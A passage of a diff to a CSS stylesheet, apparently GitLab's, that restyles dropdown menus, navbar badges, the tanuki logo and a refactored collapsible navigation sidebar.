}
.dropdown-menu {
display: none;
@@ -896,6 +566,13 @@ table a code {
text-align: left;
width: 100%;
}
+.dropdown-menu li > a:active,
+.dropdown-menu li button:active {
+ background-color: #eee;
+ color: #303030;
+ outline: 0;
+ text-decoration: none;
+}
.dropdown-menu .divider {
height: 1px;
margin: 0.25rem 0;
@@ -905,66 +582,39 @@ table a code {
.dropdown-menu .badge.badge-pill + span:not(.badge):not(.badge-pill) {
margin-right: 40px;
}
-.dropdown-select {
- width: 300px;
-}
-
-@media (max-width: 767.98px) {
- .dropdown-select {
- width: 100%;
- }
-}
-.dropdown-content {
- max-height: 252px;
- overflow-y: auto;
-}
-.dropdown-loading {
- position: absolute;
- top: 0;
- right: 0;
- bottom: 0;
- left: 0;
- display: none;
- z-index: 9;
- background-color: rgba(255, 255, 255, 0.6);
- font-size: 28px;
-}
-.dropdown-loading .fa {
- position: absolute;
- top: 50%;
- left: 50%;
- margin-top: -14px;
- margin-left: -14px;
-}
-
@media (max-width: 575.98px) {
.navbar-gitlab li.dropdown {
position: static;
}
+ .navbar-gitlab li.dropdown.user-counter {
+ margin-left: 8px !important;
+ }
+ .navbar-gitlab li.dropdown.user-counter > a {
+ padding: 0 4px !important;
+ }
header.navbar-gitlab .dropdown .dropdown-menu {
width: 100%;
min-width: 100%;
}
}
-
@media (max-width: 767.98px) {
.dropdown-menu-toggle {
width: 100%;
}
}
-textarea {
- resize: vertical;
-}
input {
border-radius: 0.25rem;
color: #303030;
background-color: #fff;
}
- .search form {
+.form-control {
border-radius: 4px;
padding: 6px 10px;
}
- .search form::placeholder {
+.form-control::-ms-input-placeholder {
+ color: #868686;
+}
+.form-control::placeholder {
color: #868686;
}
.navbar-gitlab {
@@ -973,7 +623,6 @@ input {
margin-bottom: 0;
min-height: 40px;
border: 0;
- border-bottom: 1px solid #dbdbdb;
position: fixed;
top: 0;
left: 0;
@@ -1023,9 +672,6 @@ input {
.navbar-gitlab .header-content .title img + .logo-text {
margin-left: 8px;
}
-.navbar-gitlab .header-content .title.wrap {
- white-space: normal;
-}
.navbar-gitlab .header-content .title a {
display: flex;
align-items: center;
@@ -1033,9 +679,6 @@ input {
margin: 5px 2px 5px -8px;
border-radius: 4px;
}
-.navbar-gitlab .header-content .dropdown.open > a {
- border-bottom-color: #fff;
-}
.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
margin: 0 2px;
}
@@ -1044,7 +687,6 @@ input {
border-top: 0;
padding: 0;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .navbar-collapse {
flex: 1 1 auto;
@@ -1053,7 +695,6 @@ input {
.navbar-gitlab .navbar-collapse .nav {
flex-wrap: nowrap;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
margin-left: 0;
@@ -1076,7 +717,10 @@ input {
text-align: center;
color: currentColor;
}
-
+.navbar-gitlab .container-fluid .navbar-toggler.active {
+ color: currentColor;
+ background-color: transparent;
+}
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .navbar-nav {
display: flex;
@@ -1084,11 +728,14 @@ input {
flex-direction: row;
}
}
-.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
+.navbar-gitlab
+ .container-fluid
+ .navbar-nav
+ li
+ .badge.badge-pill:not(.merge-request-badge) {
box-shadow: none;
font-weight: 600;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .nav > li.header-user {
padding-left: 10px;
@@ -1100,7 +747,6 @@ input {
padding: 6px 8px;
height: 32px;
}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid .nav > li > a {
padding: 0;
@@ -1109,7 +755,12 @@ input {
.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
margin-left: 2px;
}
-.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+.navbar-gitlab
+ .container-fluid
+ .nav
+ > li
+ > a.header-user-dropdown-toggle
+ .header-user-avatar {
margin-right: 0;
}
.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
@@ -1130,7 +781,9 @@ input {
height: 32px;
font-weight: 600;
}
+.navbar-sub-nav > li .top-nav-toggle,
.navbar-sub-nav > li > button,
+.navbar-nav > li .top-nav-toggle,
.navbar-nav > li > button {
background: transparent;
border: 0;
@@ -1168,31 +821,25 @@ input {
font-weight: 400;
margin-left: -6px;
font-size: 11px;
- color: #fff;
+ color: var(--gray-950, #fff);
padding: 0 5px;
line-height: 12px;
border-radius: 7px;
box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
}
-.title-container .badge.badge-pill.green-badge,
-.navbar-nav .badge.badge-pill.green-badge {
- background-color: #108548;
+.title-container .badge.badge-pill:not(.merge-request-badge).green-badge,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).green-badge {
+ background-color: var(--green-400, #2da160);
}
-.title-container .badge.badge-pill.merge-requests-count,
-.navbar-nav .badge.badge-pill.merge-requests-count {
- background-color: #de7e00;
+.title-container
+ .badge.badge-pill:not(.merge-request-badge).merge-requests-count,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).merge-requests-count {
+ background-color: var(--orange-400, #c17d10);
}
-.title-container .badge.badge-pill.todos-count,
-.navbar-nav .badge.badge-pill.todos-count {
- background-color: #1f75cb;
+.title-container .badge.badge-pill:not(.merge-request-badge).todos-count,
+.navbar-nav .badge.badge-pill:not(.merge-request-badge).todos-count {
+ background-color: var(--blue-400, #428fdc);
}
-.title-container .canary-badge .badge,
-.navbar-nav .canary-badge .badge {
- font-size: 12px;
- line-height: 16px;
- padding: 0 0.5rem;
-}
-
@media (max-width: 575.98px) {
.navbar-gitlab .container-fluid {
font-size: 18px;
@@ -1217,45 +864,35 @@ input {
float: none;
}
}
-.header-user.show .dropdown-menu {
- margin-top: 4px;
- color: #303030;
- left: auto;
- max-height: 445px;
-}
-.header-user.show .dropdown-menu svg {
- vertical-align: text-top;
-}
.header-user-avatar {
float: left;
margin-right: 5px;
border-radius: 50%;
border: 1px solid #f5f5f5;
}
-.media {
- display: flex;
- align-items: flex-start;
-}
-.card {
- margin-bottom: 16px;
+.notification-dot {
+ background-color: #d99530;
+ height: 12px;
+ width: 12px;
+ margin-top: -15px;
+ pointer-events: none;
+ visibility: hidden;
}
-.content-wrapper {
- width: 100%;
+.top-nav-toggle .dropdown-icon {
+ margin-right: 0.5rem;
}
-.content-wrapper .container-fluid {
- padding: 0 16px;
+.tanuki-logo .tanuki-left-ear,
+.tanuki-logo .tanuki-right-ear,
+.tanuki-logo .tanuki-nose {
+ fill: #e24329;
}
-
-@media (min-width: 768px) {
- .page-with-contextual-sidebar {
- padding-left: 50px;
- }
+.tanuki-logo .tanuki-left-eye,
+.tanuki-logo .tanuki-right-eye {
+ fill: #fc6d26;
}
-
-@media (min-width: 1200px) {
- .page-with-contextual-sidebar {
- padding-left: 220px;
- }
+.tanuki-logo .tanuki-left-cheek,
+.tanuki-logo .tanuki-right-cheek {
+ fill: #fca326;
}
.context-header {
position: relative;
@@ -1282,9 +919,20 @@ input {
overflow: hidden;
text-overflow: ellipsis;
}
-.context-header .sidebar-context-title.text-secondary {
- font-weight: normal;
- font-size: 0.8em;
+@media (min-width: 768px) {
+ .page-with-contextual-sidebar {
+ padding-left: 48px;
+ }
+}
+@media (min-width: 1200px) {
+ .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+@media (min-width: 768px) {
+ .page-with-icon-sidebar {
+ padding-left: 48px;
+ }
}
.nav-sidebar {
position: fixed;
@@ -1297,20 +945,18 @@ input {
box-shadow: inset -1px 0 0 #dbdbdb;
transform: translate3d(0, 0, 0);
}
-
@media (min-width: 576px) and (max-width: 576px) {
.nav-sidebar:not(.sidebar-collapsed-desktop) {
box-shadow: inset -1px 0 0 #dbdbdb, 2px 1px 3px rgba(0, 0, 0, 0.1);
}
}
.nav-sidebar.sidebar-collapsed-desktop {
- width: 50px;
+ width: 48px;
}
.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
.nav-sidebar.sidebar-collapsed-desktop .badge.badge-pill:not(.fly-out-badge),
-.nav-sidebar.sidebar-collapsed-desktop .sidebar-context-title,
.nav-sidebar.sidebar-collapsed-desktop .nav-item-name {
border: 0;
clip: rect(0, 0, 0, 0);
@@ -1331,9 +977,6 @@ input {
.nav-sidebar.sidebar-collapsed-desktop .avatar-container {
margin: 0 auto;
}
-.nav-sidebar.sidebar-expanded-mobile {
- left: 0;
-}
.nav-sidebar a {
text-decoration: none;
}
@@ -1356,7 +999,6 @@ input {
.nav-sidebar li.active > a {
font-weight: 600;
}
-
@media (max-width: 767.98px) {
.nav-sidebar {
left: -220px;
@@ -1373,16 +1015,15 @@ input {
height: 16px;
width: 16px;
}
-
@media (min-width: 768px) and (max-width: 1199px) {
.nav-sidebar:not(.sidebar-expanded-mobile) {
- width: 50px;
+ width: 48px;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-sidebar-inner-scroll {
overflow-x: hidden;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .badge.badge-pill:not(.fly-out-badge),
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title,
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .badge.badge-pill:not(.fly-out-badge),
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-item-name {
border: 0;
clip: rect(0, 0, 0, 0);
@@ -1405,12 +1046,26 @@ input {
}
.nav-sidebar:not(.sidebar-expanded-mobile) .context-header {
height: 60px;
- width: 50px;
+ width: 48px;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .context-header a {
padding: 10px 4px;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+ .nav-sidebar:not(.sidebar-expanded-mobile) .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
.nav-sidebar:not(.sidebar-expanded-mobile) .nav-icon-container {
@@ -1418,13 +1073,19 @@ input {
}
.nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button {
padding: 16px;
- width: 49px;
+ width: 47px;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .collapse-text,
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-left {
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .collapse-text,
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
display: none;
}
- .nav-sidebar:not(.sidebar-expanded-mobile) .toggle-sidebar-button .icon-chevron-double-lg-right {
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-right {
display: block;
margin: 0;
}
@@ -1441,10 +1102,12 @@ input {
.sidebar-sub-level-items > li a {
padding: 8px 16px 8px 40px;
}
+.sidebar-sub-level-items > li.active a {
+ background: rgba(0, 0, 0, 0.04);
+}
.sidebar-top-level-items {
margin-bottom: 60px;
}
-
@media (min-width: 576px) {
.sidebar-top-level-items > li > a {
margin-right: 1px;
@@ -1464,23 +1127,28 @@ input {
.sidebar-top-level-items > li.active .badge.badge-pill {
font-weight: 600;
}
-.sidebar-top-level-items > li.active .sidebar-sub-level-items:not(.is-fly-out-only) {
+.sidebar-top-level-items
+ > li.active
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
display: block;
}
.toggle-sidebar-button,
.close-nav-button {
- width: 219px;
- position: fixed;
height: 48px;
- bottom: 0;
padding: 0 16px;
background-color: #fafafa;
border: 0;
- border-top: 1px solid #dbdbdb;
color: #666;
display: flex;
align-items: center;
}
+.toggle-sidebar-button,
+.close-nav-button {
+ position: fixed;
+ bottom: 0;
+ width: 219px;
+ border-top: 1px solid #dbdbdb;
+}
.toggle-sidebar-button svg,
.close-nav-button svg {
margin-right: 8px;
@@ -1495,12 +1163,26 @@ input {
}
.sidebar-collapsed-desktop .context-header {
height: 60px;
- width: 50px;
+ width: 48px;
}
.sidebar-collapsed-desktop .context-header a {
padding: 10px 4px;
}
-.sidebar-collapsed-desktop .sidebar-top-level-items > li .sidebar-sub-level-items:not(.flyout-list) {
+.sidebar-collapsed-desktop .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+.sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
display: none;
}
.sidebar-collapsed-desktop .nav-icon-container {
@@ -1508,13 +1190,15 @@ input {
}
.sidebar-collapsed-desktop .toggle-sidebar-button {
padding: 16px;
- width: 49px;
+ width: 47px;
}
.sidebar-collapsed-desktop .toggle-sidebar-button .collapse-text,
.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-left {
display: none;
}
-.sidebar-collapsed-desktop .toggle-sidebar-button .icon-chevron-double-lg-right {
+.sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-right {
display: block;
margin: 0;
}
@@ -1530,7 +1214,6 @@ input {
.close-nav-button {
display: none;
}
-
@media (max-width: 767.98px) {
.close-nav-button {
display: flex;
@@ -1539,128 +1222,648 @@ input {
display: none;
}
}
-table.table {
- margin-bottom: 16px;
+body.sidebar-refactoring.ui-indigo
+ .nav-sidebar
+ li.active:not(.fly-out-top-item)
+ > a {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring.ui-indigo
+ .nav-sidebar
+ li.active
+ .nav-icon-container
+ svg {
+ fill: #2f2a6b;
+}
+body.sidebar-refactoring .nav-sidebar {
+ box-shadow: none;
+}
+body.sidebar-refactoring .nav-sidebar li.active {
+ background-color: transparent;
+ box-shadow: none !important;
}
-table.table .dropdown-menu a {
+@media (min-width: 768px) {
+ body.sidebar-refactoring .page-with-contextual-sidebar {
+ padding-left: 48px;
+ }
+}
+@media (min-width: 1200px) {
+ body.sidebar-refactoring .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+@media (min-width: 768px) {
+ body.sidebar-refactoring .page-with-icon-sidebar {
+ padding-left: 48px;
+ }
+}
+body.sidebar-refactoring .nav-sidebar {
+ position: fixed;
+ bottom: 0;
+ left: 0;
+ z-index: 600;
+ width: 220px;
+ top: 40px;
+ background-color: #f0f0f0;
+ transform: translate3d(0, 0, 0);
+}
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop {
+ width: 48px;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .badge.badge-pill:not(.fly-out-badge),
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .nav-item-name,
+body.sidebar-refactoring .nav-sidebar.sidebar-collapsed-desktop .collapse-text {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ > a {
+ min-height: unset;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ .avatar-container {
+ margin: 0 auto;
+}
+body.sidebar-refactoring
+ .nav-sidebar.sidebar-collapsed-desktop
+ li.active:not(.fly-out-top-item)
+ > a {
+ background-color: rgba(41, 41, 97, 0.08);
+}
+body.sidebar-refactoring .nav-sidebar a {
text-decoration: none;
+ color: #2f2a6b;
}
-table.table .success,
-table.table .info {
- color: #fff;
+body.sidebar-refactoring .nav-sidebar li {
+ white-space: nowrap;
+}
+body.sidebar-refactoring .nav-sidebar li .nav-item-name {
+ flex: 1;
}
-table.table .success a:not(.btn),
-table.table .info a:not(.btn) {
- text-decoration: underline;
+body.sidebar-refactoring .nav-sidebar li > a,
+body.sidebar-refactoring .nav-sidebar li > .fly-out-top-item-container {
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ display: flex;
+ align-items: center;
+ border-radius: 0.25rem;
+ width: auto;
+ line-height: 1rem;
+ margin: 1px 4px;
+}
+body.sidebar-refactoring .nav-sidebar li.active > a {
+ font-weight: 600;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ li.active:not(.fly-out-top-item)
+ > a:not(.has-sub-items) {
+ background-color: rgba(41, 41, 97, 0.08);
+}
+body.sidebar-refactoring .nav-sidebar ul {
+ padding-left: 0;
+ list-style: none;
+}
+@media (max-width: 767.98px) {
+ body.sidebar-refactoring .nav-sidebar {
+ left: -220px;
+ }
+}
+body.sidebar-refactoring .nav-sidebar .nav-icon-container {
+ display: flex;
+ margin-right: 8px;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item {
+ display: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container {
+ margin-left: 0;
+ margin-right: 0;
+ padding-left: 1rem;
+ padding-right: 1rem;
+ cursor: default;
+ pointer-events: none;
+ font-size: 0.75rem;
+ background-color: #2f2a6b;
color: #fff;
+ margin-top: -0.25rem;
+ margin-bottom: -0.25rem;
+ margin-top: 0;
+ position: relative;
+ background-color: #000;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a
+ strong,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a
+ strong,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container
+ strong {
+ font-weight: 400;
}
-pre {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a::before,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a::before,
+body.sidebar-refactoring
+ .nav-sidebar
+ a:not(.has-sub-items)
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container::before {
+ position: absolute;
+ content: "";
display: block;
- padding: 8px 12px;
- margin: 0 0 8px;
- font-size: 13px;
- word-break: break-all;
- word-wrap: break-word;
+ top: 50%;
+ left: -0.25rem;
+ margin-top: -0.5rem;
+ width: 0;
+ height: 0;
+ border-top: 0.5rem solid transparent;
+ border-bottom: 0.5rem solid transparent;
+ border-right: 0.5rem solid #000;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item {
+ display: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item.active
+ a,
+body.sidebar-refactoring
+ .nav-sidebar
+ a.has-sub-items
+ + .sidebar-sub-level-items
+ .fly-out-top-item
+ .fly-out-top-item-container {
+ margin-left: 0;
+ margin-right: 0;
+ padding-left: 1rem;
+ padding-right: 1rem;
+ cursor: default;
+ pointer-events: none;
+ font-size: 0.75rem;
+ background-color: #2f2a6b;
+ color: #fff;
+ margin-top: -0.25rem;
+ border-bottom-left-radius: 0;
+ border-bottom-right-radius: 0;
+}
+@media (min-width: 768px) and (max-width: 1199px) {
+ body.sidebar-refactoring .nav-sidebar:not(.sidebar-expanded-mobile) {
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .badge.badge-pill:not(.fly-out-badge),
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-item-name,
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .collapse-text {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ > a {
+ min-height: unset;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .fly-out-top-item:not(.divider) {
+ display: block !important;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .avatar-container {
+ margin: 0 auto;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ li.active:not(.fly-out-top-item)
+ > a {
+ background-color: rgba(41, 41, 97, 0.08);
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header {
+ height: 60px;
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header
+ a {
+ padding: 10px 4px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header {
+ height: auto;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .context-header
+ a {
+ padding: 0.25rem;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .nav-icon-container {
+ margin-right: 0;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button {
+ width: 48px;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .collapse-text {
+ display: none;
+ }
+ body.sidebar-refactoring
+ .nav-sidebar:not(.sidebar-expanded-mobile)
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
+ transform: rotate(180deg);
+ display: block;
+ margin: 0;
+ }
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll {
+ height: 100%;
+ width: 100%;
+ overflow: auto;
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header {
+ margin-top: 0.25rem;
+}
+body.sidebar-refactoring .nav-sidebar-inner-scroll > div.context-header a {
+ padding-left: 0.75rem;
+ padding-right: 0.75rem;
+ padding-top: 0.5rem;
+ padding-bottom: 0.5rem;
+ display: flex;
+ align-items: center;
+ border-radius: 0.25rem;
+ width: auto;
+ line-height: 1rem;
+ margin: 1px 4px;
+ padding: 0.25rem;
+ margin-bottom: 0.25rem;
+ margin-top: 0;
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container {
+ font-weight: 400;
+ flex: none;
+ box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar {
+ border-style: none;
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
color: #303030;
+ box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
+}
+body.sidebar-refactoring
+ .nav-sidebar-inner-scroll
+ > div.context-header
+ a
+ .sidebar-context-title {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring .sidebar-top-level-items {
+ margin-top: 0.25rem;
+ margin-bottom: 60px;
+}
+body.sidebar-refactoring .sidebar-top-level-items .context-header a {
+ padding: 0.25rem;
+ margin-bottom: 0.25rem;
+ margin-top: 0;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container {
+ font-weight: 400;
+ flex: none;
+ box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar {
+ border-style: none;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .avatar-container.rect-avatar
+ .avatar.s32 {
+ color: #303030;
+ box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.08);
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ .context-header
+ a
+ .sidebar-context-title {
+ color: #2f2a6b;
+}
+body.sidebar-refactoring .sidebar-top-level-items > li .badge.badge-pill {
+ border-radius: 0.5rem;
+ padding-top: 0.125rem;
+ padding-bottom: 0.125rem;
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+ background-color: #cbe2f9;
+ color: #0b5cad;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ > li.active
+ .sidebar-sub-level-items:not(.is-fly-out-only) {
+ display: block;
+}
+body.sidebar-refactoring
+ .sidebar-top-level-items
+ > li.active
+ .badge.badge-pill {
+ font-weight: 400;
+ color: #0b5cad;
+}
+body.sidebar-refactoring .sidebar-sub-level-items {
+ padding-top: 0;
+ padding-bottom: 0;
+ display: none;
+}
+body.sidebar-refactoring .sidebar-sub-level-items:not(.fly-out-list) li > a {
+ padding-left: 2.25rem;
+}
+body.sidebar-refactoring .toggle-sidebar-button,
+body.sidebar-refactoring .close-nav-button {
+ height: 48px;
+ padding: 0 16px;
background-color: #fafafa;
- border: 1px solid #dbdbdb;
- border-radius: 2px;
+ border: 0;
+ color: #666;
+ display: flex;
+ align-items: center;
+ background-color: #f0f0f0;
+ border-top: 1px solid #dbdbdb;
+ color: #2f2a6b;
+ position: fixed;
+ bottom: 0;
+ width: 220px;
+}
+body.sidebar-refactoring .toggle-sidebar-button .collapse-text,
+body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-left,
+body.sidebar-refactoring .toggle-sidebar-button .icon-chevron-double-lg-right,
+body.sidebar-refactoring .close-nav-button .collapse-text,
+body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-left,
+body.sidebar-refactoring .close-nav-button .icon-chevron-double-lg-right {
+ color: inherit;
}
-.monospace {
- font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+body.sidebar-refactoring .collapse-text {
+ white-space: nowrap;
+ overflow: hidden;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+ height: 60px;
+ width: 48px;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+ padding: 10px 4px;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .sidebar-context-title {
+ border: 0;
+ clip: rect(0, 0, 0, 0);
+ height: 1px;
+ margin: -1px;
+ overflow: hidden;
+ padding: 0;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header {
+ height: auto;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .context-header a {
+ padding: 0.25rem;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .sidebar-top-level-items
+ > li
+ .sidebar-sub-level-items:not(.flyout-list) {
+ display: none;
}
-input::-moz-placeholder,
-textarea::-moz-placeholder {
+body.sidebar-refactoring .sidebar-collapsed-desktop .nav-icon-container {
+ margin-right: 0;
+}
+body.sidebar-refactoring .sidebar-collapsed-desktop .toggle-sidebar-button {
+ width: 48px;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .collapse-text {
+ display: none;
+}
+body.sidebar-refactoring
+ .sidebar-collapsed-desktop
+ .toggle-sidebar-button
+ .icon-chevron-double-lg-left {
+ transform: rotate(180deg);
+ display: block;
+ margin: 0;
+}
+body.sidebar-refactoring .close-nav-button {
+ display: none;
+}
